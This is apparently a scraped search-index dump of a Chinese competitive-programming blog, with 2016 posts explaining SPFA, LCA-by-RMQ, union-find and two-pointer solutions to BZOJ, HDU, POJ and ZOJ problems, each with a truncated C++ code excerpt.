我的做法是反向建边再跑一遍spfa… 1A,开心。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 19时36分38秒 4File Name :code/bzoj/1631.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34const int M=1E5+7; 35int n,m,X; 36 37vector \u003c pi \u003e edge[N]; 38bool inq[N]; 39int d1[N],d2[N]; 40int ans; 41struct road 42{ 43 int u,v,w; 44}r[M]; 45 46void spfa( int s,int *d) 47{ 48 queue\u003cint\u003eq; 49 q.push(s); 50 inq[s] = true; 51 d[s] = 0 ; 52 53 while (!q.empty()) 54 { 55 int u = q.f","date":"2016-05-21","externalUrl":null,"permalink":"/2016/05/bzoj-1631/","section":"Posts","summary":"1631: [Usaco2007 Feb]Cow Party # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 670 Solved: 493 [Submit][Status][Discuss]","tags":["spfa","最短路"],"title":"BZOJ 1631: [Usaco2007 Feb]Cow Party (SPFA)","type":"post"},{"categories":["ACM"],"content":"hdu 3790 题目链接 题意：给出n个点m条无向边，每条边有一个距离和一个花费。给出s,t。问从s到t的最短距离以及最短距离时的最小花费。当有多个距离最短的方案时，选取花费最少的。 spfa学习链接 usetc 每周算法讲堂之spfa 先写几道题加深理解。 记得初始化。。。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月21日 星期六 18时42分24秒 4File Name :code/hdu/3790.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m; 35int d[N]; 36int p[N]; 37bool inq[N]; 38vector \u003c pair\u003cint,pair\u003cint,int\u003e \u003e \u003e edge[N]; 39 40int s,t; 41 42void init() 43{ 44 ms(inq,false); 45 ms(d,0x3f); 46 ms(p,0x3f); 47 48 for ( int i = 0 ; i \u003c=n ; i++) edge[i].clear(); 49} 50 51void spfa() 52{ 53 queue\u003cint\u003eq; 54 q.push(s); 55 d[s] = 0 ; 56 p[s] = 0; 57 inq[s]=true; 58 59 while (!q.empty()) 60 { 61 int now = q.front(); 62// cout\u003c\u003c\"now:\"\u003c\u003cnow\u003c\u003cendl; 63 q.pop(); 64 inq[now] = false; 65 66 int siz = edge[now].size(); 67 for ( int i = 0 ; i \u003c siz ; i ++) 68 { 69 int v = edge[now][i].fst; 70 int nd = edge[now][i].sec.fst; 71 int nw = edge[now][i].sec.sec; 72 // cout\u003c\u003c\"v:\"\u003c\u003cv\u003c\u003c\" nd:\"\u003c\u003cnd\u003c\u003c\" nw:\"\u003c\u003cnw\u003c\u003cendl; 73 if (d[v]\u003ed[now]+nd||((d[v]==d[now]+nd)\u0026\u0026(p[v]\u003ep[now]+nw))) 74 { 75 d[v] = d[now] + nd; 76 p[v] = p[now] + nw; 77 78 if (inq[v]) continue; 79 q.push(v); 80 inq[v] = true; 81 ","date":"2016-05-21","externalUrl":null,"permalink":"/2016/05/hdu3790/","section":"Posts","summary":"hdu 3790 题目链接 题意：给出n个点m条无向边，每条边有一个距离和一个花费。给出s,t。问从s到t的最短距离以及最短距离时的最小花费。当有多个距离最短的方案时，选取花费最少的。","tags":["spfa"],"title":"hdu 3790 最短路径问题 (spfa模板题)","type":"post"},{"categories":["ACM"],"content":"zoj 3195题目链接 题意：求树上三点的最短距离。。。 思路：两两求，和除以2. 因为忘记初始化p=0..WA了将近两个小时。。。？ 妈的智障。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月21日 星期六 14时44分39秒 4File Name :code/zoj/3195.cpp 5************************************************ */ 6 7 8 9#include \u003ccstdio\u003e 10#include \u003ccstring\u003e 11#include \u003ciostream\u003e 12#include \u003calgorithm\u003e 13#include \u003cvector\u003e 14#include \u003cqueue\u003e 15#include \u003cset\u003e 16#include \u003cmap\u003e 17#include \u003cstring\u003e 18#include \u003ccmath\u003e 19#include \u003ccstdlib\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=5E4+7; 36int n,m; 37vector \u003c pi \u003e edge[N]; 38int q; 39int in[N]; 40int E[2*N],R[2*N],dis[N],depth[2*N]; 41int p; 42int dp[2*N][20]; 43void dfs( int u,int dep,int d,int pre) 44{ 45 46 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" dep:\"\u003c\u003cdep\u003c\u003c\" d:\"\u003c\u003cd\u003c\u003cendl; 47 p++; 48 E[p] = u; 49 depth[p] = dep; 50 R[u] = p ; 51 dis[u] = d; 52 53 54 int siz = edge[u].size(); 55 for ( int i = 0 ; i \u003c siz ; i++) 56 { 57 int v = edge[u][i].fst; 58 if (v==pre) continue; 59 dfs(v,dep+1,d+edge[u][i].sec,u); 60 61 p++; 62 E[p] = u; 63 depth[p] = dep; 64 } 65} 66 67 68 69int _min( int l,int r) 70{ 71 if (depth[l]\u003cdepth[r]) return l; 72 return r; 73} 74void rmq_init() 75{ 76 for ( int i = 1 ; i \u003c= 2*n+2 ; i++) dp[i][0] = i; 77 78 for ( int j = 1 ; (1\u003c\u003cj) \u003c= 2*n+2 ; j++) 79 for ( int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= 2*n+2 ; i++) 80 dp[i][j] = _min(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 81} 82 83int rmq_min( int l,int r) 84{ 85 if (l\u003er) swap(l,r); 86 int k = 0 ; 87 while","date":"2016-05-21","externalUrl":null,"permalink":"/2016/05/zoj-3195/","section":"Posts","summary":"zoj 3195题目链接 题意：求树上三点的最短距离。。。 思路：两两求，和除以2. 因为忘记初始化p=0..WA了将近两个小时。。。？ 妈的智障。","tags":["LCA","rmq"],"title":"zoj 3195 Design the city （lca,dfs+rmq）","type":"post"},{"categories":["ACM"],"content":"hdu2874题目链接 题意：给一个森林，问两点的最短距离，或者输出两点不联通。 思路：最最重要的一点是:添加虚点！ 最最重要的一点是:添加虚点！ 最最重要的一点是:添加虚点！ 所谓虚点，就是之前假设某个不存在的点，有点类似做辅助线。 通过添加虚点，我们可以把这个森林转化成一棵树。 这样求两点的距离就可以转化成一棵树上的两点的距离。 用dis[u]+dis[v]-2*dis[LCA(u,v)]来求。 dis[i]表示节点i到新的树根节点的距离。 不联通的话就是LCA 为0的情况（0是添加的虚点，作为新的树的根） 具体添加虚点的方法是：森林中每棵树的根连边到虚点上。权值大小随意，因为最后会抵消（？） 为了知道每棵树的根，需要用到并查集(其实根是随便定义的，但是森林中每棵树只能一个点和虚点相连不然就出现环了，所以需要用到并查集） 以及了解了（？）并查集的非递归的路径压缩写法。。。？ 缺点是速度更慢，优点是不会爆栈。。。 还有需要学习一下按rank合并和按size合并的进阶并查集。。。？ 以及：RE了好多次是因为。。。添加了虚点0，所以各种下标都应该是从0开始，初始化清空的时候忘了（从0开始）清vector…导致多组数据一直往edge[0]里面添加边。。。然后就炸了（手动微笑） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月20日 星期五 19时31分44秒 4File Name :code/hdu/2874.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E4+7; 34int n,m,q; 35vector \u003c pi \u003e edge[N]; 36int dis[N]; 37int E[2*N],depth[2*N],R[2*N]; 38int p; 39int dp[2*N][20]; 40int f[N]; 41/*int root2 ( int a) 42{ 43 int x = a,ret; 44 while (x!=f[x]) x = f[x]; 45 ret = x; 46 while (a!=ret) 47 { 48 x = a; 49 a = f[a]; 50 f[x] = ret; 51 } 52 return ret; 53} */ 54int root( int x) 55{ 56 if (f[x]!=x) f[x] = root (f[x]); 57 return f[x]; 58} 59void merge( int x,int y) 60{ 61 int rx = root(x); 62 int ry = root(y","date":"2016-05-21","externalUrl":null,"permalink":"/2016/05/hdu-2874/","section":"Posts","summary":"hdu2874题目链接 题意：给一个森林，问两点的最短距离，或者输出两点不联通。 思路：最最重要的一点是:添加虚点！","tags":["LCA","rmq","并查集","虚点"],"title":"hdu 2874 Connections between cities (添加虚点，并查集+LCA(rmq+dfs))","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求树上两点的最短距离？ 思路： dis[i]表示点i到根节点的距离，那么任意两点u,v的最短距离d = dis[u]+dis[v]-2*dis[LCA(u,v)]. 只需要求出rmq+dfs的在线方法求出lca(u,v)即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月20日 星期五 15时36分47秒 4File Name :code/poj/1986.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E4+7; 34int n,m; 35vector \u003c pi \u003e edge[N]; 36int q; 37int in[N]; 38int E[2*N],R[2*N],dis[N],depth[2*N]; 39int p; 40int dp[2*N][20]; 41void dfs( int u,int dep,int d,int pre) 42{ 43 44 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" dep:\"\u003c\u003cdep\u003c\u003c\" d:\"\u003c\u003cd\u003c\u003cendl; 45 p++; 46 E[p] = u; 47 depth[p] = dep; 48 R[u] = p ; 49 dis[u] = d; 50 51 52 int siz = edge[u].size(); 53 for ( int i = 0 ; i \u003c siz ; i++) 54 { 55 int v = edge[u][i].fst; 56 if (v==pre) continue; 57 dfs(v,dep+1,d+edge[u][i].sec,u); 58 59 p++; 60 E[p] = u; 61 depth[p] = dep; 62 } 63} 64 65 66 67int _min( int l,int r) 68{ 69 if (depth[l]\u003cdepth[r]) return l; 70 return r; 71} 72void rmq_init() 73{ 74 for ( int i = 1 ; i \u003c= 2*n+2 ; i++) dp[i][0] = i; 75 76 for ( int j = 1 ; (1\u003c\u003cj) \u003c= 2*n+2 ; j++) 77 for ( int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= 2*n+2 ; i++) 78 dp[i][j] = _min(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 79} 80 81int rmq_min( int l,int r) 82{ 83if ","date":"2016-05-20","externalUrl":null,"permalink":"/2016/05/poj-1986/","section":"Posts","summary":"题目链接 题意：求树上两点的最短距离？ 思路： dis[i]表示点i到根节点的距离，那么任意两点u,v的最短距离d = dis[u]+dis[v]-2*dis[LCA(u,v)]. 只需要求出rmq+dfs的在线方法求出lca(u,v)即可。","tags":["LCA","rmq"],"title":"poj 1986 Distance Queries (lca,在线做法dfs+rmq)","type":"post"},{"categories":["ACM"],"content":"hdu 3530题目链接 题意：给出n个数，m,k，问最大的j-i+1,使得【i,j】间的最大值与最小值的差属于[m,k] 思路：rmq+尺取。 2A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月19日 星期四 16时52分03秒 4File Name :code/hdu/3530.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int a[N]; 36int dp[N][20],dp2[N][20]; 37int m,k; 38 39void rmq_init() 40{ 41 for ( int i = 1 ; i \u003c= n ; i ++) 42 dp[i][0] = dp2[i][0] = a[i]; 43 44 for ( int j = 1 ; (1\u003c\u003cj) \u003c= n ; j++) 45 for ( int i = 1 ; i + (1\u003c\u003cj) -1 \u003c= n ; i++) 46 { 47 dp[i][j] = max(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 48 dp2[i][j]=min(dp2[i][j-1],dp2[i+(1\u003c\u003c(j-1))][j-1]); 49 } 50} 51 52int rmq( int l,int r) 53{ 54 int k = 0 ; 55 while (1\u003c\u003c(k+1)\u003c=r-l+1) k++; 56 int mx = max(dp[l][k],dp[r-(1\u003c\u003ck)+1][k]); 57 int mn = min(dp2[l][k],dp2[r-(1\u003c\u003ck)+1][k]); 58 59 return mx-mn; 60} 61 62int ruler() 63{ 64 int head = 1; 65 int tail = 1; 66 int res = -1 ; 67 while (tail\u003c=n) 68 { 69 int cur = rmq(head,tail); 70 while (head\u003ctail\u0026\u0026rmq(head,tail)\u003ek) head++; 71 while (tail\u003cn\u0026\u0026rmq(head,tail)\u003cm) tail++; 72 //if (tail\u003en) break; 73 cur = rmq(head,tail); 74 if (cur\u003e=m\u0026\u0026cur\u003c=k) 75 { 76 res = max(res,tail-head); 77 } 78// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\" t","date":"2016-05-19","externalUrl":null,"permalink":"/2016/05/hdu3530/","section":"Posts","summary":"hdu 3530题目链接 题意：给出n个数，m,k，问最大的j-i+1,使得【i,j】间的最大值与最小值的差属于[m,k] 思路：rmq+尺取。 2A.","tags":["rmq","尺取法"],"title":"hdu 3530 Subsequence (尺取+rmq)","type":"post"},{"categories":["ACM"],"content":"poj1470题目链接 题意：求两点的lca. 思路：dfs+rmq. 读入技巧。 读入比较坑爹。。。 学会了一种新的读入技巧。 scanf(\"%2s\",st); 表示读一个长度为2的字符串。。。读的时候会忽略各种空白字符。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月19日 星期四 15时44分12秒 4File Name :code/poj/1470.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=905; 34int n; 35vector \u003cint\u003e edge[N]; 36int in[N]; 37int E[2*N],R[2*N]; 38int depth[2*N]; 39int p; 40int dp[2*N][12]; 41int cnt[N]; 42void dfs( int u,int dep) 43{ 44 p++; 45 E[p] = u ; 46 depth[p] = dep; 47 R[u] = p; 48 int siz = edge[u].size(); 49 for ( int i = 0 ; i \u003c siz ; i ++) 50 { 51 int v = edge[u][i]; 52 53 dfs(v,dep+1); 54 p++; 55 E[p] = u; 56 depth[p] = dep; 57 } 58} 59 60int _min( int l,int r) 61{ 62 if (depth[l]\u003cdepth[r]) return l; 63 return r; 64} 65void rmq_init() 66{ 67 for ( int i = 1 ; i \u003c=2*n+2 ; i++) dp[i][0] = i; 68 69 for ( int j = 1 ; (1\u003c\u003cj) \u003c= 2*n+2 ; j++) 70 for ( int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= 2*n+2 ; i++) 71 dp[i][j] = _min(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 72} 73 74int rmq_min( int l,int r) 75{ 76 if (l\u003er) swap(l,r); 77 int k = 0; 78 while (1\u003c\u003c(k+1) \u003c= r-l+1) k++; 79 return _min(dp[l][k],dp[r-(1\u003c\u003ck)+1][k]); 80} 81int main() 82{ 83 #ifndef ONLINE_JUD","date":"2016-05-19","externalUrl":null,"permalink":"/2016/05/poj1470/","section":"Posts","summary":"poj1470题目链接 题意：求两点的lca. 思路：dfs+rmq. 读入技巧。 读入比较坑爹。。。 学会了一种新的读入技巧。","tags":["dfs","LCA","rmq"],"title":"poj 1470 Closest Common Ancestors (lca,rmq+dfs,读入技巧)","type":"post"},{"categories":["ACM"],"content":"poj1330题目链接 题意：给出一棵树，求两点的lca. 思路：将lca转化成rmq在线求解。 代码部分参考了：参考代码 感觉实现得很巧妙。。。 把树存成了有向图，dfs遇到的时候一定是第一次遇到，此时更新R. 然后第二次遇到某个点就是在回溯的时候了。 算法学习链接 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月19日 星期四 15时05分31秒 4File Name :code/poj/1330.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34vector \u003cint\u003eedge[N]; 35int n; 36int in[N]; 37int cur; 38int E[2*N]; 39int R[N]; 40int depth[2*N]; 41int dp[2*N][16]; 42void dfs ( int u,int dep) 43{ 44 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" dep:\"\u003c\u003cdep\u003c\u003cendl; 45 cur++; 46 E[cur] = u; 47 depth[cur] = dep; 48 R[u] = cur; //有向图存的话，在这里访问的一定是第一次经过。 49 50 int siz = edge[u].size(); 51 for ( int i = 0 ; i \u003c siz ; i++) 52 { 53 int v = edge[u][i]; 54 dfs(v,dep+1); 55 cur++; //返回时还经过一次。 56 E[cur] = u ; 57 depth[cur] = dep; 58 } 59} 60 61int _min(int l,int r) 62{ 63 if (depth[l]\u003cdepth[r]) return l; 64 return r; 65} 66 67void rmq_init() 68{ 69 for ( int i = 1 ; i \u003c= 2*n+2 ; i++) dp[i][0] = i; 70 71 for ( int j = 1 ; (1\u003c\u003cj) \u003c= 2*n+2 ; j++ ) 72 for ( int i = 1; i + (1\u003c\u003cj)-1 \u003c=2*n+2 ; i++) 73 dp[i][j] = _min(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 74} 75 76int rmq_min( int l,int r) 77{ 78 if (l\u003er) swap(l,r); 79 int k = 0 ; 80 while ","date":"2016-05-19","externalUrl":null,"permalink":"/2016/05/poj1330/","section":"Posts","summary":"poj1330题目链接 题意：给出一棵树，求两点的lca. 思路：将lca转化成rmq在线求解。","tags":["dfs","LCA","rmq"],"title":"poj 1330  Nearest Common Ancestors (lca,用dfs+rmq在线求解)","type":"post"},{"categories":["ACM"],"content":"hdu2142题目链接 题意：有n个订单和可以在m小时内制作月饼 接下来是n个订单的信息:需要在mon月,d日,year年,h小时交付订单r个月饼 接下来一行t,s表示制作的月饼可以保质t天，每保质一天需要花费s的价值 接下来m行表示从第0小时开始在该时间制作月饼的花费的价值 求完成所有订单消耗的最小价值 思路：一开始毫无头绪。。因为读错题了。。。之后发现做月饼只能在整点做，即使是提前，也只能提前整数个小时做。 然后发现冰箱的容量是没有限制的，所以每个订单单独考虑即可。 那么对于每一个订单，我们要找到订单当天以及之前T天，这T+1天中做月饼花费最少的那天做月饼。 但是如果对于每个订单，如果每次都更新相应的价值，找一次最小值，复杂度会炸。 这里我卡了一下。。。然后发现，可以只初始化一次。虽然在不同时间做月饼的花费会因为订单时间的不同而不同，但是每相邻的两个小时之间做月饼花费的差是固定的，也就是花费的相对大小是固定的。 因此对于每个订单，我在相应的区间内找到花费最小的时间的下标，然后恢复成实际的花费（因为花费是一个等差数列，很好恢复） 由于之后给的花费是开始后的第i小时。。。那么订单不妨也转化成小时的形式。。。 注意判断闰年。。 2A,开心。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月18日 星期三 19时37分03秒 4File Name :code/hdu/4122.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34const int M[15]={-1,31,28,31,30,31,30,31,31,30,31,30,31}; //平年每月天数，1 indexed. 35int n,m; 36int T,S; 37pi o[N]; 38int a[N]; 39int dp[N][18]; 40int toval(string mon) 41{ 42 if (mon==\"Jan\") return 1; 43 if (mon==\"Feb\") return 2; 44 if (mon==\"Mar\") return 3; 45 if (mon==\"Apr\") return 4; 46 if (mon==\"May\") return 5; 47 if (mon==\"Jun\") return 6; 48 if (mon==\"Jul\") return 7; 49 if (mon==\"Aug\") return 8; 50 if (mon==\"Sep\") return 9; 51 if (mon==\"Oct\") return 10; 52 ","date":"2016-05-18","externalUrl":null,"permalink":"/2016/05/hdu4122/","section":"Posts","summary":"hdu2142题目链接 题意：有n个订单和可以在m小时内制作月饼 接下来是n个订单的信息:需要在mon月,d日,year年,h小时交付订单r个月饼 接下来一行t,s表示制作的月饼可以保质t天，每保质一天需要花费s的价值 接下来m行表示从第0小时开始在该时间制作月饼的花费的价值 求完成所有订单消耗的最小价值","tags":["rmq"],"title":"hdu 4122 Alice's mooncake shop(rmq)","type":"post"},{"categories":["ACM"],"content":"poj 3368 题目链接 题意：给出n个非减的数a[i],求区间[l,r]中出现次数最多的数的出现的次数。 思路：由于数列非减，那么相等的数一定相邻。很容易系哪个到构造另一个数组f[i]，表示从当前位置向左边延伸最多延伸几个相等的数。 f[i] = f[i-1] + 1 (iff a[i]==a[i-1]) 然后查询的时候。 如果直接用ST算法查询rmq的话。。。 可能产生错误结果，原因是f[i]是从左边1到i这段连续区间里当前数出现的次数。 但是查询区间不一定是从1开始，所以查询区间内的第一段连续相等的数可能不完整。。。想了半天。。最后看了题解，发现是这部分暴力来搞。但是如果所有数列中所有数都相等，这样的复杂度就达到了o(1E10)?。。。2s应该过不了吧。。。但是所有题解都是这么写的。。。不是很懂。。。所谓的面向数据编程？ 不过还是有启示的：分类讨论的思想。一道题未必用一种算法解。如果因为一小部分导致某算法不能用的话，不妨暴力搞之然后再用这个算法。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月18日 星期三 13时44分47秒 4File Name :code/poj/3368.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35pi a[N]; 36int q; 37int dp[N][20]; 38 39void init_rmq() 40{ 41 for ( int i = 1 ;i \u003c= n ; i++) dp[i][0] = a[i].sec; 42 43 for ( int j = 1 ; (1\u003c\u003cj)\u003c= n ; j++) 44 for ( int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= n ; i++) 45 dp[i][j] = max(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 46} 47 48int rmq_max(int l,int r) 49{ 50 if (l\u003er) return 0; //因为l+1可能大于b 51 int k = 0 ; 52 while (1\u003c\u003c(k+1)\u003c=(r-l+1)) k++; 53 return max(dp[l][k],dp[r-(1\u003c\u003ck)+1][k]); 54 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59 freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61 62 while (scanf(\"%d\",\u0026n)!=EO","date":"2016-05-18","externalUrl":null,"permalink":"/2016/05/poj3368/","section":"Posts","summary":"poj 3368 题目链接 题意：给出n个非减的数a[i],求区间[l,r]中出现次数最多的数的出现的次数。","tags":["brute force","rmq","分类讨论"],"title":"poj 3368 Frequent values （暴力+rmq，分类讨论）","type":"post"},{"categories":["ACM"],"content":"poj2452题目链接 题意：给你一组数a[n]，求满足a[i] \u003c a[k] \u003c a[j] (i \u003c= k \u003c= j)的最大的j-i。 思路：大概能想到是rmq，然后想出了一个错误复杂度的错误思路，还直到对拍才发现== 转载一篇题解：poj2452解题报告 收获最大的是： 对于最大值和最小值返回val还是位置的转化竟然可以这样容易! 对于最大值和最小值返回val还是位置的转化竟然可以这样容易! 对于最大值和最小值返回val还是位置的转化竟然可以这样容易! 只要 1int _min(int l,int r) 2{ 3 if (a[l]\u003ca[r]) return l; 4 return r; 5} 这样一个函数就可以实现完美转化。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月16日 星期一 13时42分56秒 4File Name :code/poj/2452.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int 